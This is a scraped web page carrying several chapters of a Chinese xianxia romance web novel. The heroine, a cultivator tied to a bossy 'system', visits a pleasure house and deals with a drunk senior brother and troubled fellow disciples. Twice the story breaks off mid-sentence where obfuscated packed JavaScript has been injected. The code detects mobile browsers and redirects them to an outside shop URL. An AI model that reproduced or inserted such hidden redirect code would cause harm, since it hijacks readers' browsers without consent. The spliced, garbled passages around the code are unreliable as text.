“大晚上的,去哪转?你不会又要去湖上赏月吧?”孟知匀不动声色地把写了“周报”两个字的宣纸压在了书本下面,一时没忍住,转了下笔。 萧翎琅走进来,坐在桌前给自己倒了杯茶:“晚上才有意思呀,你不知道烟云郡被称为不夜城吗?晚上好玩的多了去了。” “况且,苏秋白都把我们安排在雾雨阁了,哪能辜负他的一番好心?” 孟知匀支着下巴看她:“雾雨阁到底有什么玄妙?” 萧翎琅喝了口茶,不疾不徐地说道:“东边是暖玉楼,西边是醉香楼,这可是在五大州都享有盛名的烟花之地,哦,南边还有个近来风头更盛的望春楼,来都来了,你不想去见见世面吗?” 这算什么世面。 孟知匀一言难尽地看着她,婉拒:“还是算了,我对这个不感兴趣。” “喂,你这么油盐不进、不讲情趣,难道非要逼我说实话吗?”萧翎琅伸手拨了拨头上的银饰,撇了撇嘴,“我在附近发现了有人身上带着万花谷的金铃,正好进了望春楼,我进去一打听才知道,那个男子是望春楼的头牌。” 孟知匀一口茶水差点喷出来:“啊?” “这烟花之地自然是男女皆有,你这么大惊小怪做什么?”萧翎琅冲她挑挑眉,露出一抹意味深长的笑意,“怎么样,现在有兴趣跟我一起去吗?” 28. 琴音 望春楼坐落在河畔近旁,杨柳依依,门前摆着许多盆价值不菲的灵花,风雅十足。 孟知匀被萧翎琅催促着换了件寻常女子的衣衫,为了不引人瞩目,连花信也没带,二人闲庭信步般在街上晃了一圈,这才进了望春楼。 云梦州多数的烟花之地都设了雅间,既可以吃饭喝酒,也可以卧榻醉眠,所以楼内倒不显嘈杂。 萧翎琅一进门就冲一个红衫女子招了招手,眼尾带笑:“你就是红娘?” “正是奴家。”红娘福了福身,眼珠滴溜溜地在二人身上转了一圈,“不知二位客人来望月楼是喝酒吃茶,还是听曲儿?” 萧翎琅冲她眨了眨眼睛:“自然是听曲儿了,要‘月’字房。” 孟知匀听不懂她们这一来一回的黑话,干脆转过身四下打量,发现这望春楼一共有三层楼,楼上估摸着都是雅间,楼下则设了一些茶案,有几人坐在案前听曲儿吃茶。 红娘听到萧翎琅的要求,愣了一下,赔笑道:“客人来得不巧,余月昨日刚被人赎了身,现下已经不在望春楼了。” “哦?”萧翎琅似笑非笑,“我先前路过的时候,怎么瞧见他进来了?我这个人平生最好美人,余月的长相,我可不会认错。” 红娘拿帕子掩唇一笑:“兴许是今儿回来拿了趟东西,他现在可是金贵人了,巴不得和我们早早划清界限呢。这不,面都没让我见着,人已经走了。” 萧翎琅继续追问:“谁这么大手气,你们望月楼的头牌都拿得下?” “哎哟,客人这话可是问煞奴家了。”红娘轻轻拍了一下她的胳膊,“这些贵人的名头我怎么敢打听?人家昨日说要赎人,我只能连夜把人给送过去,哪还敢多问一句嘴?我们这种做人情买卖的,最怕的就是得罪不该得罪的人,姑娘你说是不是?” 眼看从红娘嘴里问不出来什么,萧翎琅意兴阑珊地耸了耸肩,问道:“那除了余月,最漂亮的是哪一个?” 孟知匀挑眉看她。 萧翎琅拨了拨头上的珠钗,笑得满面春风:“来都来了,自然要见识见识烟云风月。” 红娘娇笑道:“‘雪’字房还空着,客人请随奴家来。” 孟知匀一把拽住萧翎琅的胳膊,压低嗓音问她:“你来真的?” “不就听听小曲儿嘛,这么紧张干嘛?”萧翎琅冲她眨了眨眼睛,不由分说地拉着她往楼上去。 风、花、雪、月四间房是整个望春楼规格最高的雅间,风、花为女子,雪、月为男子,四人各有千秋,算是望春楼的招牌。 红娘为二人打开雪字房,盈盈一欠身,将她们迎了进去,并命人沏了壶上好的茶。 “客人们稍等,岑雪去抱琴了,马上就来。” 萧翎琅懒散地靠在椅背上,冲她挥了挥手:“你们都下去吧,等会儿让他自己进来,闲杂人等就别来打扰了。” 红娘福身行礼,恭敬地退下了。 “你先前认识余月?”孟知匀手里捏着茶盏把玩,察觉到了萧翎琅先前说辞中的不合理之处。 万听谷弟子每人都有一只银铃,上面刻着宗门符文,像钟粹山的剑铭一样可以用来千里传信,而万花谷从万听谷分裂出去后,萧倾故意让门下弟子带一只金铃,存了心要和万听谷分庭抗礼。 但是万花谷是作恶多端的邪修门派,自其成立以来,犯下杀戮无数,在修真界可以称得上是人人得而诛之,所以其弟子出门时往往不会把金铃显露于外。 这么说来,萧翎琅很可能是认出了某个万花谷的熟人。 “我们可是过了命的交情。”萧翎琅撩起眼皮瞥她一眼,见孟知匀不接她的话,忍不住咳了一声,满脸写着“赶紧继续问我”几个大字。 孟知匀忍不住笑了,只能接着她的话头问:“哦?你和他怎么会有这么深的交情?难不成你和这个邪修门派还在藕断丝连?” 萧翎琅慢悠悠品了一口茶:“小时候互相给对方下毒,自然也算过了命的交情。” “这的确挺深厚。”孟知匀真情实意地点点头。 * 雪字房对面的雅间里,也有两人相对而坐。 “这红线解不开。”苏秋白倒了一杯酒递给薛昱,“当初制出这种青鸾铃,就是给浓情蜜意的新婚夫妇用的,自然越是无可解越好。” “不过……”他话音一转,意有所指地看向薛昱面前的那杯酒。 薛昱面无表情地将酒一口喝尽。 “这可是我珍藏的桃花酿,在我家桃林里埋了几十年,在烟云郡可是千金难买呢。”苏秋白又为他倒满,“刚刚说什么来着?哦,那红线……” 薛昱不动声色地又喝一杯,眉眼间皆是不耐。 “红线形成借助的是青鸾铃上的灵气,等灵气散了,这红线自然就消失了。”苏秋白见他脸色不虞,也不再多卖关子,“在普通人手上,或许能维持个一年半载,在修行中人手上嘛,天天受各种灵气冲击,估摸着一两个月就消散了。” “谢了。”薛昱拿起酒坛倒酒,又敬了他一杯,然后站起身就想走人。 苏秋白却笑道:“这么着急走干什么?我这里还有一个你必然感兴趣的消息,确定不留下来听听?” 薛昱脚步顿了一下,转身坐下,不等他开口,便又喝了一杯酒。 苏秋白是个酒鬼,还是个喜欢灌别人酒的酒鬼,要从他这知道点儿什么,多少得有一坛酒下肚。 “爽快。”苏秋白陪了他一杯,不疾不徐地说道,“前日里桃花潭一个弟子从南华州回来,说是在那边见到了……” “金素剑。” 薛昱周遭的气息陡然一冷,寒风吹得苏秋白打了个喷嚏。 见他状态不对,苏秋白赶紧扯开话题,说笑道:“刚刚红娘上来送酒,说是有两个姑娘包了雪字房,只让岑雪一个人进去弹琴,你猜那二人是谁?” 话音未落,那股寒意不减反增。 苏秋白不明所以地打了个冷战。 * 孟知匀趴在桌子上昏昏欲睡,正当她要彻底堕入梦乡之时,门“吱呀”一声打开了,一个男子抱着琴走了进来。 萧翎琅原本正在品茶,看见来人,差点一口茶水喷出来,忙伸手戳了戳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282591|196678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孟知匀的胳膊:“别睡了,你看谁来了?” 孟知匀坐起身,揉了揉眼睛,发现这人竟是薛昱。 他进了门也不说话,径直抱着琴走到案前坐下,伸手拨弄了几下琴弦,看也不看她们一眼,便直接弹奏了起来。 云梦这边的琴音,大多如流水潺潺,曲调悠扬。 薛昱的琴音,却如铮铮烈风,裹挟而来的寒气吹得人骨头发冷,仿佛他们身处之地不是风月江南,而是苍山雪原。 萧翎琅连打了三个喷嚏后实在遭不住了,欲言又止地拍了拍孟知匀的肩膀,留下一句“我忽然想起还有旁的事没做”便一溜烟儿逃出了门。 “师兄?”孟知匀搓了搓胳膊,试探性叫了他一声。 薛昱没应,仍旧垂眸弹琴,琴音却不似刚刚那般流畅,有了几分滞涩之意。 一股带着桃花香味的酒香隐隐缭绕在屋内。 孟知匀起身走到了他身边,果然发现酒气更浓了,便皱眉问道:“师兄,你喝醉了吗?” “铮——”琴音戛然而止。 弦断了。 薛昱终于抬起头,露出一双迷蒙着雾气的眼睛,仿若初春之际,慢慢消融的那一捧残雪。 “孟知匀。”他忽然叫她的名字。 “师兄,你怎……”不等她把话说完,他忽然攥住了她的手腕,不容抗拒地将她拉进了怀里,让她跌坐在他腿上。 孟知匀大脑一片空白,四肢僵硬得仿佛不是自己的,在想起来要挣扎之前,薛昱将脸埋进了她颈窝里,一双胳膊紧紧箍着她的腰,周身寒气凛凛,仿佛他枯坐那晚的风雪,尽数落到了她怀里。 “师兄,你喝醉了。”她垂眸看向他的发顶,既没有回抱他,也没有推开他。 薛昱的嗓音喑哑沉闷:“我知道。” “叮——” “叮——” “叮——” 系统的邮件瞬间挤爆了她的邮箱。 孟知匀叹了口气,根本无心点开邮件去看系统又在作什么妖,甚至脑子都还没缓过劲来,整个人处于一种过载的状态,直到薛昱周身的寒意渐渐褪去,她才推了推他的肩膀:“该回去了。” 薛昱松开她,仰头看了她一眼,眼里那层雾气已然不见了。 孟知匀松了口气,从他身上下去,拂了拂自己皱巴巴的衣服,往门口走了几步,却见薛昱亦步亦趋地跟在自己身后,虽然面无表情、气质疏离,却难得透出几分—— 乖巧。 应该是喝醉了。她苦中作乐地自我安慰,迈出了门槛,却在路过那间花字房时察觉到了一丝微弱的、薛停的剑气。 她脚步一顿,皱起眉头,看向了那扇紧闭的房门。 里面甚至没有点灯,昭示着房中人已经歇下了。 “姑娘,”倚在旁边围栏上的芙蓉笑着看向她,露出的肌肤上还留有暧昧的红痕,“那是奴家的房间,眼下是空的。若姑娘想要奴家作陪,得先去跟妈妈说一声才是。” 孟知匀收回探出的灵气,看也不看芙蓉一眼,伸手拍了拍房门。 “薛停,出来。” 29. 处罚 薛停此时正靠坐在门口的地上,衣衫凌乱,额前散乱的头发贴在汗湿的脸颊上,眼中潮湿的余韵尚未褪去。 屋内的那张床被他一剑劈开,满地都是因床帘断裂而散落的珠子。 没想到他剑气外露的那一点,竟正好被师姐察觉到了。 现在,他们只有一门之隔。 绵密的绝望缓慢地淹没了他,让他甚至来不及去思考,师姐为什么会出现在这里。 孟知匀等了片刻,不见里面人有动静,眼睑一垂,难得强硬地说道:“别逼我踹门。” 薛停闭了下眼睛,攥紧晨曦剑的手青筋暴起,深吸了几口气后吐出的几个字仍带有不明显的颤抖。 “师姐……” 孟知匀的心猛地一揪,手心登时聚出一团灵气,几乎就要破门而入,却被他下一句话生生绊在了门外。 “求你了,你先走吧。” 薛停虽未拜在翠微长老门下,但是由于他师父常年闭关,所以由翠微长老负责教导他修行,说起来,他们也算是真正的同门师姐弟。 犹记初见那日,他拿着刚到手的晨曦剑冲她行了个执剑礼,脸上满是未经凡尘玷污的少年意气,对她粲然一笑,朗声道:“师姐,我叫薛停,日后请多指教。” 她喜欢他轻松开朗的气质,那让她想起了原生世界还在上初高中的表弟表妹,想起了自己无忧无虑的少年时代。 可现在躲在门后的薛停,声音带着浓浓的疲惫和哭腔,像是受了天大的委屈。 但他口口声声求她离开。 孟知匀收回手,强行压下了心底那团熊熊燃起的怒火,感觉自己像是一个目睹孩子遭人欺负却无能为力的家长,沉默片刻后缓声道:“那我在雾雨阁等你。” 听薛停应了一声后她才转过身,却见薛昱不知何时出了剑,雾凇的剑尖直指围栏旁的艳丽女子。 芙蓉被剑指着,不惧反笑:“仙师这是干什么?我一个弱质女流,又没做什么伤天害理之事,怎就惹上了这么个无妄之灾?” 孟知匀上下打量面前的女人——她身上毫无灵气外露的痕迹,看起来不像个修士。但若是一般人被雾凇的剑气针对,早就腿软跪下了,她此时却依旧懒懒地靠在围栏上,脸上还是那副令人捉摸不透的笑容。 但是无论如何,这是薛停自己的事情,他央求他们离开,摆明了是不想让他们插手。 她握住薛昱的手腕,沉声道:“师兄,我们先走。” 薛昱面无表情地盯着芙蓉看,冰冷的视线像是要把人活活穿透的冰棱,让芙蓉的腿肚打起了颤。 末了,他收回剑,跟在孟知匀身后下了楼。 目送着这两个杀神离开,芙蓉瞬间腿一软,跌坐在了地上,却在吐出一口浊气后抚着胸口笑了起来,惹得在暗处看热闹的红娘几人皆是心惊胆战。 * 二人没有御风,而且直接走回了雾雨阁,一路上两人都缄默不语,正巧在小院门口碰到了刚回来的薛繁和薛臻虞。 “你们可算回来了!”薛繁似乎是匆忙赶回来的,气都没吐匀,张口就问,“你们有没有遇到薛停?他说是出门买饭,这都几个时辰过去了,还没回来!” 一旁扶着门框的薛臻虞也是气喘吁吁:“都把这主街找遍了,那家假中州店的老板说他两个时辰前就走了,结果至今没见个人影儿。” 薛繁修习清秋剑,薛臻虞修习九夏剑,皆不擅追灵,对万物气息感知也不敏锐,所以他们只能满大街跑,四处找人问,到最后也没找出个名堂。 孟知匀抿了下唇,装作无事发生的样子,说道:“刚刚碰到他了,说是在这边遇到个朋友,一起小酌了几杯,待会儿就回来。” “好啊这个薛停!”薛臻虞松了口气,嘴上却不饶人,连师兄也不叫了,阴阳怪气道,“自己出去快活了,也不说一声,害我和师兄两人到处找他,就差把整个烟云郡翻个底朝天了!” 薛繁也放了心,笑着拍了拍他的肩膀:“人没出事就好,走吧,再不歇息就要天亮了。” 几人一起进了院。薛繁和薛臻虞二人奔波了许久,直接回了房间,孟知匀则在院中坐下,准备等薛停回来。 然而在她倒了一盏茶后,一抬头就看到了站在她身边的薛昱。 “师兄,你喝醉了,赶紧回去休息吧,我在这里等他就好。”孟知匀揉了揉额心,起身催促薛昱回房。 结果她这师兄嘴上说着“好”,身体却不动,等她推了一把,他才迈开长腿走了两步。 这什么意思? 孟知匀有点头疼,上前又推了他一把,薛昱便又走了两步。 得,喝醉了还要跟她玩“推箱子”。 她有点想笑,无奈地推着他的腰往前走,一路将人“推”回了房间,“推”上了床。 见他睁着那双早春融冰般的眼睛,孟知匀伸手替他合上眼皮,结果这人刚闭眼就睁开,几次反复,纤长浓密的睫毛扫得她手心泛痒。 孟知匀又好气又好笑地瞪他,大逆不道地命令:“薛昱,闭眼。” 他又眨巴了两下,随后顺从地闭上了眼睛。 孟知匀这才站起身,伸了个懒腰,晃晃悠悠地关门离开,开始坐在院子里查看自己的邮件。 看着“99+”的数量提示,她喝了两杯茶,做了几个深呼吸,视死如归地点开邮箱。 想象中铺天盖地的罚款通知并没有出现,塞满邮箱的邮件总结起来只有两类截然相反的内容: 一种是批评她品行不端、严重失职,勒令她立刻回钟粹山留职查看。 另一种则肯定了她在外勤中的表现,让她继续参加雅音会,并全程保障薛昱的安全。 上百封邮件都是大差不差的内容,并且还在源源不断地往她邮箱里涌,终于把系统面板挤成了“加载中……”,然后再也打不开了。 没扣钱,好事。 系统崩了,大大大大好事。 孟知匀压根儿不想理那封让她回宗门的邮件,准备对前后矛盾的上级指令进行有选择的执行,然而她还没侥幸多久,下山后沉寂已久的任务栏突然跳出了三条系统待办。 “协助薛繁将包裹送去仙灵驿站,寄回钟粹山。” “陪同薛臻虞前往绿江书社挑选话本。” “安抚薛停,并趁机查明事情真相。” 她刚把待办看完,大门便被人轻轻推开了。 薛停走了进来,身后还背着他的晨曦剑,头发束得一丝不乱,衣物也干净整洁,似乎一切如常,跟他今日离开前没什么两样。 他站在门口,想 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薛停走出几步,却突然又转身抱住了她,力道不像刚刚那样大,声音也轻得似乎要散进夜色里:“师姐……” 我好喜欢你。 真的好喜欢你。 孟知匀浑身有些僵硬,不自然地问道:“怎么了?” 薛停闭了下眼睛,声音依旧很小,却一字一字割在他心口上。 “我会永远把你当成亲姐姐的。” 孟知匀松了口气,真心实意地笑了一下,拍拍他的背:“傻瓜,我早就把你当亲弟弟了,快去睡觉吧。” 微风拂过,她的发丝划过他的嘴唇,仿佛落下的是一个轻柔的吻。 薛停看着那根发丝被风吹走,终于松开手,转身一步一步走回了自己房间,只在关门时飞快抬头看了她一眼。 孟知匀还站在原地,门却被他亲手关上了。 薛昱倚在窗边,不知看了多久,眼睛仿佛黏在了自家师妹身上,使得四季如春的雾雨阁也结了满地寒霜。 * 孟知匀把大的小的都哄回去后,终于得了片刻闲暇,揉着眼睛回了自己房间,发现系统待办跳动了一下,在第三条旁边打了个“×”,标注为未完成。 刚刚还爆满的邮箱不知何时被清空了,如今只孤零零地躺着一封处罚邮件。 “未按时完成规定任务,本月绩效考核等级为C,扣除全勤奖,并对员工进行以下处罚——” “抄写《员工行为准则》三遍,且不得降低其余任务执行效率,不得占用工作时间,工作态度不端正者加倍处罚。” 刚刚答应薛停时她就有预感,这次系统必然会借机狠狠敲打她一番,但没想到在经历过邮箱爆炸后,它对自己的控制竟加强了,隔这么远都能给她安排待办任务,还能实时监测任务完成情况。 而且不得占用工作时间,不是摆明了要让她晚上加班抄写嘛。 孟知匀疲惫地趴在桌子上,闭上眼睛在心里默数了六十秒,清空了所有思绪,随后强迫自己睁开眼睛,找出纸笔开始抄写。 然后她发现了一个非常关键的问题。 《员工行为准则》究竟是个什么东西?她连这玩意儿的影都没见过! 30. 沐浴 等了半天,没见系统把《员工行为准则》发过来,孟知匀拿着毛笔在砚台上轻敲,开始思考此系扒皮行为背后的逻辑。 虽然系统不是个东西,但是根据它以往的逻辑判断,它非常重视文件的完整性。 既然它之前能根据这个《员工行为准则》多次对她进行处罚,那一定有一整套的规范作为依据。但是它就是死活不把整份文件发给她,其后必有阴谋。 最显而易见的是,如果她不清楚这个规范究竟有哪些条目,很可能违规而不自知,这就给了系统更多的机会来对她进行处罚,无论是加班还是罚款,都能加深对她的剥削。 其次,这是对系统贱货本性的又一次有力佐证。它发邮件说要处罚,却不给相关材料,摆明是要她自行揣度处罚系统的意图,让她既因为熬夜罚抄消耗了体力,又因为冥思苦想耗费了脑力,还在无形之中加深了其令人捉摸不透的神秘形象,可谓是一石三鸟。 最后,它的种种骚操作下很可能隐藏着不能让她察觉的真实意图,比如它的处罚根因。 孟知匀拿着笔在宣纸上随意勾画,回想起今日系统邮箱爆炸前自己的所作所为—— 哦,她那时候被喝醉了酒的薛昱抱住了。 然后系统就跟冷宫里疯掉的大婆一样开始疯狂警告她,还第一次出现了指令前后矛盾的状况。并且在邮箱初始化之后,系统的三条待办分别涉及薛繁、薛臻虞、薛停,唯独没提到这个最重要的二少主,多少有点欲盖弥彰的味道。 想明白了其中关窍,孟知匀从一旁的书架上拿了本书下来,正是薛臻虞在鹤车上强行塞给她的《入门心法》。 翻开性缩力极强的黑字蓝底封皮,开篇第一句话就让她睁大了眼睛。 “师兄看了她一眼,面无表情地脱掉外衫,走进了水汽氤氲的浴池中……” 本来只是想从中汲取一些灵感,结果孟知匀感觉这书越看越火热,甚至伸手摸了摸自己的鼻子,见没有飚出鼻血,她这才松了口气。 只是这话本子的作者似乎真有点东西,那副美人入浴图简直在她脑中徘徊不去,让她一闭上眼睛就情不自禁去想—— 师兄那张冰雕雪琢、冷若寒霜的脸,若是被浴池中的水汽熏得泛红,又该是怎样一种风情? “啪”的一声,她猛地合上这本书,深吸了几口气,提笔在宣纸上写下“第一条”:“不得偷看师兄沐浴。” “第二条,不得于夜深人静时遐想师兄的八块腹肌,不得深思其手感、硬度。” “第三条,不得刻意盯着师兄泛粉的关节看,不得胡思乱想与之相关的生理构造……” 没等她把第四条写出来,系统的邮件便“叮”的一声抵达了她的邮箱,打开便是一份完整的《员工行为准则》,第一条赫然便是加粗、黑体的重点内容:不得意淫、侵犯宗门师兄弟,不得在宗门内部发展非正常关系。 嗐,早点给,不就没这么多事了吗? 看这事儿办的,让她在大晚上整得这么火热。 孟知匀忍不住嘴角上扬,草草翻阅了这份《员工行为准则》,发现其中倒也没什么玄妙之处,无非就是把大厂的车轱辘话照搬过来,进行了一些钟粹山本地化改编,杂七杂八罗列了四十九条,除了对她这个唯一的牛马进行服从性测试,还通过多个条例来严禁“办公室恋情”。 总而言之,她既得让少主开心、满意,又不能跟少主产生除师兄妹同门之谊外的任何感情。 若是这系统有实体,估计会直接约谈她,警告她不许肖想少主。 孟知匀嗤笑了一声,拿出了高中写综合卷子的手速开始誊抄《准则》,由于她写得一手模板化好字,所以哪怕笔速极快,字迹也不显潦草。 系统憋了半天,没找到能让她打回重抄的机会,便干巴巴发来一封邮件,让她注意排版和格式。 眼前的条目越抄越晕,在抄写完最后一个字后,孟知匀提着最后一口气把抄写提交了上去,然后连系统反馈也不看,脑袋砸到桌子上就昏睡了过去。 那几张故意试探系统的废稿早被她团了团扔在一边,想着等抄完便用花信的剑气把这几张纸给碎了,这么羞耻的内容,万万不可被旁人看到! 结果她睡得昏天暗地,直接把这事儿忘了,甚至连窗子都没关,晨风一吹,将这个纸团从书案上卷了起来,在桌面上滚动了几下,随后便穿过书案旁的窗户,滚进了院子里。 倚在窗边看了一晚的薛昱终于动了,走到孟知匀窗外捡起那个纸团,沉思了片刻,终究展开了皱巴巴的宣纸。 上面的确是她的字迹。 他的眉头轻微皱了一下,一行一行看下去,原本如白玉般的耳垂慢慢透出了粉。 宣纸上“沐浴”“腹肌”“关节”等字眼仿佛自带了朦胧暧昧的水汽,像她惯常爱使的春雨那样,密密匝匝地缠了他满身。 薛昱喉结滚动了几下,面无表情地将宣纸小心折好,看也不敢看趴在桌上酣睡的少女,只轻手轻脚替她关上了窗户,转身回了自己房间。 屋内那层结了整晚的厚霜顷刻间便消融了,仿佛入了春。 * 孟知匀醒来的时候,已经日上三竿了。 她活动了一下被压麻的胳膊,伸了个懒腰走出去,发现薛繁和薛臻虞正坐在院里吃早饭,薛昱和薛停的房门还紧紧闭着,应该是还没起床。 薛臻虞吃饭的时候手里还拿着个话本,一见她便招了招手:“师姐,快来吃饭,据说这家是真的正宗中州饭。” 孟知匀坐下啃了根油条,忽然想起自己还有两个待办没做,截止日期是今天,便对二人说道:“我今日要去仙灵驿站给逢梨寄点东西,你们有没有要寄的,我直接一起带过去。” 薛繁思索了一下,对孟知匀微微一笑:“那有劳师妹了。” 薛臻虞咽下嘴里的肉包,又喝了口豆浆顺了顺气,这才说道:“师姐,等会儿我跟你一 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薛臻虞的东西太多,不好意思完全劳烦人家,便抱着自己的包裹跟着云意走后门进了仙灵驿站。 孟知匀走到一旁树下的阴凉处,似笑非笑地看向苏秋白,问道:“少主有什么事想单独问我?” 这支开人的意图实在明显。 苏秋白打开折扇扇了几下,言笑晏晏:“昨日在下跟二少主在望春楼小酌,后听闻孟姑娘和萧姑娘包了岑雪一晚,二少主便拦了岑雪,拿着他的琴进了雪字房……” 孟知匀眉目微敛,打断道:“师兄他喝醉了。” “在下自然知道。”苏秋白微微低头,看着她,“只是薛兄不胜酒力,每每醉酒后便如稚子般肆意妄为,还望孟姑娘体谅,以免伤了你们同门和气。” 昨晚那琴音里的铮铮寒意,听得他狠狠捏了把汗,生怕这人生气起来不管不顾,伤了情分就不好了。 人毕竟是他灌醉的,这烂摊子他多少也得象征性地收拾一下。 孟知匀摸着下巴思索了一下,没想起来师兄有哪些肆意妄为的地方,除了非要抱她一会儿,后面让干什么就干什么,反而显得有几分乖巧。 甚至之前在钟粹山桃花林里,他喝了一整坛酒,醉后也不过质问了她几句静水谷的事,甚至走的时候还不忘带走酒坛,一点儿也没给人添麻烦。 她便笑了一下:“少主多虑了,师兄向来行事有分寸,酒后也不至于有什么出格的举动。” “……啊?”苏秋白愣了一下,脸色有一瞬的空白。 行事有分寸?酒后不出格?那之前一剑劈了他家大半个桃林的人是谁?剑气寒半潭,冻死半湖荷花的又是谁? 虽说那时候薛昱年纪尚小,气性较大,加之被他惹出了气来,但是他现在看上去也不像改了性子的模样。 他喝醉后和“行事有分寸”这几个字有一文钱的关系吗? 31. 腰带 “师姐!”薛臻虞匆匆跑过来,黝黑的脸庞被烈日晒得发红,伸手抹了一把额头上的汗,“今日也太热了,排队的人还这么多。” 随后他朝对面的苏秋白拱手道谢:“多亏了少主帮忙!不然我和师姐估计连午饭都吃不上了!” 苏秋白朗声笑道:“诸位不远万里来桃花潭,这都是在下应该做的,日后若还有别的需要,只管去望春楼找我便是。” 孟知匀挑了下眉,这话的意思是他这几天会一直待在望春楼? 雅音会召开在即,苏秋白身为桃花潭苏家的少主,不仅不回宗门协助处理庶务,反而一直流连花丛,不知他是生性放浪还是另有图谋。 “公子。”一个随侍快步走出城门,似乎是有什么要紧事,见孟知匀和薛臻虞也在,便对二人行了一礼,随后面色惶急地看向苏秋白。 孟知匀便识趣地跟苏秋白道了别,带着薛臻虞又进了城。 “什么事?”苏秋白收回目光,脸色那点玩世不恭的笑也散了个干净。 随侍压低了嗓音:“霜竹长老从后门进望春楼了,去了花字房。” 苏秋白嗤笑道:“玉笛楼不是最自诩清高吗?怎么,苏平素日里骂我放浪,自己不也上赶着往万芙蓉床上扑?” 话罢,他神色一敛,吩咐道:“派人继续盯着。” * 烟云郡的绿江书社占据了整整一座楼,就矗立在城门口的主街旁,一楼是整排整排的大书架,二楼三楼则既有书架又有隔断的小书室,花一两银子便可在里面待上一天,还有人侍候茶水,向来是文人雅客爱待的好去处。 薛臻虞一进门就急吼吼地问柜台后的伙计:“鹤先生的新话本出了吗?” 以往在钟粹山,还有他爹天天跟在屁股后面督促他修习,所以他只能零星抽出点时间看话本。自从下山以来,再也没人抓他修行了,可让他把积攒的话本看了个爽,结果现在“存货”只剩下半本了。 伙计不好意思地挠挠头:“前两日老板亲自上门去催了,结果……” “不会是病了吧?”薛臻虞大惊失色。 “那倒没有,”伙计干干笑了笑,“鹤先生大前天说天气太冷,把墨冻住了,写不了。” “前天说,自己用的最顺手的狼毫断了,她心里难过,得给那支笔筹办丧礼,写不了。” “昨天又说,她隔壁孙大娘家的小猪仔出生了,她上门贺喜去了,写不了。” “今日……”他摇了摇头,无奈笑道,“还不知道会怎么说。” 说白了就是花式拖稿呗。 孟知匀忍不住笑了出来,拍了拍僵化在一旁的薛臻虞,安慰道:“这里的书社这么大,总还能找到合你口味的。” 薛臻虞沮丧地垂着头,欲言又止地看了伙计一眼,终究按捺下了想询问鹤先生住所的想法,勉强对师姐笑了笑:“来到来了,我请师姐去书室吧,据说这里的茶水和糕点都是上好的。” 孟知匀点点头:“说不定书室里放着的书你感兴趣呢。” 二人跟着另一个伙计上了二楼,刚走过一间书室便听到一道熟悉的嗓音。 孟知匀脚步一顿,听里面乒乒乓乓的似乎有打斗的声响,便对那伙计说:“这里面的客人我们认识,劳烦进去通传一声,就说是钟粹山的朋友。” 伙计也被里面的声响吓了一跳,心惊胆战地敲了敲门,却无人应声,只有“啪”的一声传来,似乎是什么瓷器碎了。 孟知匀不等他再墨迹,一把推开房门。 书室不大,正对着门开了扇明窗,左右两侧靠墙放置了两大排书架,中间放着一个圆桌、两个蒲团,是供人休息喝茶的。 此时圆桌倾倒,桌上的茶具也碎了一地,萧翎琅正骑在一个男子身上,一手拿腰带缠了他一双手,一手紧紧钳着他的下巴,额前散乱的头发下露出一双满是戾气的眼睛。 薛臻虞被这机具冲击感的画面刺激得揉了揉眼睛,随后眼疾手快地推着同样目瞪口呆的伙计出去了。 萧翎琅对孟知匀笑了一下,眼里的狠意散去些许:“你怎么来了?” “碰巧路过。”孟知匀捡起她掉在地上的几根银钗,走过去打量了一下被她按在地上的少年。 这人长相极为俊秀,面目阴柔,皮肤冷白,像是常年不见天日,让她想起了漫画中的吸血鬼。 “外人都来了,还不放开我?”少年歪了下脑袋,却没从她手底下挣扎出来。 萧翎琅冷冷瞥了他一眼,从他身上下去,却没解开捆着他的腰带,神色恹恹地朝他一抬下巴,对孟知匀介绍道:“这是余月。” 余月?那个据说已经被赎身的望春楼头牌?和萧翎琅有过命交情的万花谷弟子? 孟知匀顿了一下,摆出一副职业假笑:“久仰大名。” 余月双手被捆,毫无借力地从地上坐起来,看起来腰还不错,意味深长地笑了一声:“久仰的——是花名吧。” 萧翎琅毫不留情地踹了他一脚:“发什么浪!” 余月仰头看她,目光微敛:“你能不能讲点道理?一见面就打了我一顿,还动辄言语侮辱,怎么,萧越就是这么教你的?” “我师父老实了一辈子,当了一辈子大善人,当然教不了我这种顽劣的徒弟。倒是你——”她俯身凑近他,几乎是咬牙切齿,“难道是萧倾教你出、来、卖的?” 不等她把话说完,余月忽然凑上去碰了碰她的嘴唇,是一个不成样子的、一触即分的吻。 “啪”的一声,一巴掌直接在那张苍白俊美的半边脸上留下了五个指印。 萧翎琅站起身狠狠踹了他两记窝心脚,眼里的怒火恨不得把他烧得粉身碎骨,薄情的嘴唇吐出两个字:“脏货。” 余月唇角流了血,却蜷缩着身子笑了起来,像个病入膏肓的疯子。 孟知匀看得一愣一愣的,赶紧上前拉住萧翎琅:“消消气,别把人弄残了。” 事态发展实在是出人意料,再不制止,以这个余月的疯癫程度,她真怕萧翎琅被激得直接掐死他。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17295942|196678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这是她认识萧翎琅以来,见过她情绪最激烈、最不可控的一次。 萧翎琅冷笑一声,用手背狠狠擦了擦自己的嘴唇,还未说什么,门便再一次打开了,一个身穿天青色暗云纹锦袍的男子走了进来,看了一眼被捆着的余月,手里的玉骨折扇“啪”的一合,先冲她们行了一礼:“家里养的小玩意儿冲撞了二位姑娘,林某给二位赔罪了。” 萧翎琅抬眸看他:“就是你给他赎的身?” 林不平颔首微笑:“正是。” 